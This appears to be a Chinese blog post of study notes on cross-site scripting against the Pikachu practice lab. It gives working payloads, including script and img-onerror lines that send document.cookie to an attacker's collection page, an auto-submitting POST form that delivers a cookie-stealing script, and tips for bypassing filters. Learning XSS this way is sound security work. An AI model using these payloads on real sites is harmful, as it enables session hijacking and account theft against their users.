xss总结

xss总结

1.常用payload
1.//配合xss后台使用
<script>document.location='http://127.0.0.1?cookie=' + document.cookie</script>
或
<img src=x onerror=a=document.cookie;document.location='http://192.168.0.113:8080/pikachu/pkxss/xcookie/cookie.php?cookie='+a >

2.//在href中使用javascript伪协议
<a href="javascript:alert(111)">

3.//payload被加入href,闭合引号绕过href
' onclick=alert(1111) '
或
#' onclick=alert("xss")>

4.//payload被加入动态js中,闭合原来js,加入新的js
'</script><script>alert('xss')</script>

5.//其他
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">

xss payload大全参考:https://www.cnblogs.com/xuehen/p/4814237.html

2.常见xss类型
2.1 反射型
2.1.1 GET

构造钓鱼url,发给受害者,等待受害者点击即可

http://127.0.0.1/xss_reflected_get.php?message=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E&submit=submit
2.1.2 POST

无法直接构造钓鱼url,需要自己搭建post表单网站,诱导受害者点击

//post.html
<html>
<head>
<script>
    //自动点击,提交post表单
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post"           //受害者网站         action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>                //攻击者xss后台窃取cookie的payload
document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

2.2 存储型

一般出现在留言板等,危害较大,payload直接写在留言板即可

2.3 DOM型
// 这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str
//然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
<script>

                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试:'><img src="#" οnmοuseοver="alert('xss')">
                    //试试:' οnclick="alert('xss')">,闭合掉就行
 </script>

<div id="dom"><a href="test">what do you see?</a></div>

payload构造

' onclick=alert(1111) '
或
#' onclick=alert("xss")>
或
javascript:alert(111)
3.绕过xss过滤
3.1 转换
  • 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  • 大小写,比如pt>。后台可能把
3.2 编码

当它输出到前端的时候,浏览器会对这个编码进行翻译,从而弹窗

3.3 htmlspecialchars

关于htmlspecialchars()函数

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

  • & 成为 &amp

  • " 成为 &quot

  • ’ 成为 &#039

  • < 成为 &lt

  • > 成为 &gt

    可用引号类型

  • ENT_COMPAT:默认,仅编码双引号

  • ENT_QUOTES:编码双引号和单引号

  • ENT_NOQUOTES:不编码任何引号

可以使用一些不带这些特殊符号的payload,如 javascript:alert(111)

附加 xss之动态js
//输入框中输入的test,赋值给了js中的$ms变量

<script>
    $ms='test';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }

</script>

payload

//闭合原来的js,加入新的js

'</script><script>alert('xss')</script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值